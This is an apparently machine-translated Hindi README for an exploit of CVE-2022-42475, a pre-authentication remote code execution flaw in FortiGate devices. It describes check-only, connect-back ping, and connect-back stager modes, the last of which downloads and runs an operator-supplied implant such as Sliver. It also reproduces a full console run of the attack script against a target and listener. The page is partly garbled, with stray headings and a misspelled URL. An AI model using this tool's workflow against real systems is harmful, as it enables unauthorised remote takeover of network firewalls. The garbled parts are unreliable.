CVE-2022-42475

पृष्ठभूमि

यह ब्लॉग पोस्ट के लिए एक्सप्लॉइट है: https://bishopfox.com/blog/exploit-cve-2022-42475

संशोधित संस्करण

एक्सप्लॉइट का यह संस्करण आपके, हैकर, द्वारा ROP गैजेट्स आदि के लिए आवश्यक मेमोरी पतों की आपूर्ति किए बिना काम नहीं करेगा। इन आंकड़ों को निर्धारित करने का कार्य गोपनीय और Bishop Fox की संपत्ति है, और मैं इसे इस एक्सप्लॉइट के साथ प्रकाशित नहीं करूंगा (नहीं कर सकता)। मुझे विश्वास है कि आप समझते हैं!

संचालन के तरीके

केवल सत्यापन, कोई एक्सप्लॉइट नहीं। यह निर्धारित करता है कि लक्ष्य संवेदनशील है या नहीं। कोई पेलोड नहीं, कोई शेलकोड नहीं।
एक्सप्लॉइट, लेकिन केवल सत्यापन. यह सत्यापित करने के लिए एक निर्दोष कनेक्ट-बैक "पिंग" शेलकोड चलाएं कि लक्ष्य एक्सप्लॉइट योग्य है।
कनेक्ट-बैक बाइनरी स्टेजर के साथ एक्सप्लॉइट. शेलकोड एक्सप्लॉइट से वापस जुड़ता है, एक एन्क्रिप्टेड ऑपरेटर-आपूर्ति बाइनरी फ़ाइल (आमतौर पर https://gitub.com/BishopFox/Sliver) डाउनलोड करता है, बाइनरी को डिक्रिप्ट करता है, फिर execve(binary_file) को कॉल करता है।

नोट: वर्तमान में "केवल सत्यापन" मोड FortiOS के सभी ज्ञात संस्करणों पर काम करता है। हालांकि, एक्सप्लॉइट केवल 100D हार्डवेयर पर FortiOS 6.0.4 के विरुद्ध काम करते हैं। मैं अब BF में काम नहीं करता, इसलिए मैं विस्तारित एक्सप्लॉइट प्रकाशित नहीं कर सकता जो लगभग 18k लक्ष्यों का समर्थन करता हो।

┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475] └─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯ --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]-- --[ Bishop Fox Cosmos Team X ]-- [+] पेलोड को एन्क्रिप्ट करने के लिए यादृच्छिक 128-बिट AES कुंजी उत्पन्न कर रहा है [+] पेलोड को एन्क्रिप्ट कर रहा है... [+] कैश्ड शेलकोड का उपयोग कर रहा है। ताज़ा करने के लिए ./x.py संपादित करें ('shellcode.s' देखें)। [+] 192.168.0.99:443 पर कनेक्ट-बैक के लिए कॉन्फ़िगर किया गया [+] एन्क्रिप्टेड पेलोड लिसनर प्रारंभ कर रहा है... [+] एक्सप्लॉइट की तैयारी कर रहा है... [+] अनुरोध भेज रहा है! [+] 'exploit_data.json' से गैजेट आयात कर रहा है [<] लिसनर पोर्ट 443 से बंधा हुआ है, कनेक्ट-बैक की प्रतीक्षा कर रहा है... [+] गैजेट सत्यापित कर रहा है... [!] FortiOS '5.2.14' के लिए कोई कार्यात्मक हार्डवेयर मॉडल परिभाषित नहीं किए गए। हटा दिया गया। [!] FortiOS '5.6.9' के लिए कोई कार्यात्मक हार्डवेयर मॉडल परिभाषित नहीं किए गए। हटा दिया गया। [+] 797 लक्ष्य आयात किए गए: [-] 6.0.4 [ 1 targets ] <=== 100D [-] 5.2.14 [ 47 targets ] [-] 5.6.9 [ 60 targets ] [-] 6.0.13 [ 68 targets ] [-] 6.0.14 [ 67 targets ] [-] 6.0.15 [ 58 targets ] [-] 6.0.8 [ 67 targets ] [-] 6.2.11 [ 69 targets ] [-] 6.2.7 [ 75 targets ] [-] 6.4.10 [ 71 targets ] [-] 6.4.2 [ 62 targets ] [-] 6.4.3 [ 61 targets ] [-] 6.4.6 [ 73 targets ] [-] 6.4.9 [ 72 targets ] [-] 7.0.4 [ 53 targets ] [+] एक्सप्लॉइट प्रारंभ कर रहा है [<] 192.168.0.10:22470 से आने वाला अनुरोध [<] लक्ष्य से हैलो पैकेट प्राप्त हुआ!! मॉडल #: 100D [<] 36 बाइट्स का एन्क्रिप्टेड पेलोड भेज रहा है [<] पेलोड भेजना समाप्त (36 बाइट्स), प्रतिक्रिया की प्रतीक्षा कर रहा है... [<] 192.168.0.10 से अपेक्षित प्रतिक्रिया ('100D') प्राप्त हुई [<] लक्ष्य 100% विश्वास के साथ संवेदनशील है। [+] सब कुछ समाप्त!

CVE-2022-42475

सबसे लोकप्रिय

आवश्यकताएँ

केवल सत्यापन

एक्सप्लॉइट, लेकिन सत्यापन (यह सुविधा वर्तमान में केवल FortiOS 6.0.4 on 100D उपकरणों के लिए उपलब्ध है)

वैश्विक थर्मोन्यूक्लियर युद्ध

और संस्करण जल्द ही आ रहे हैं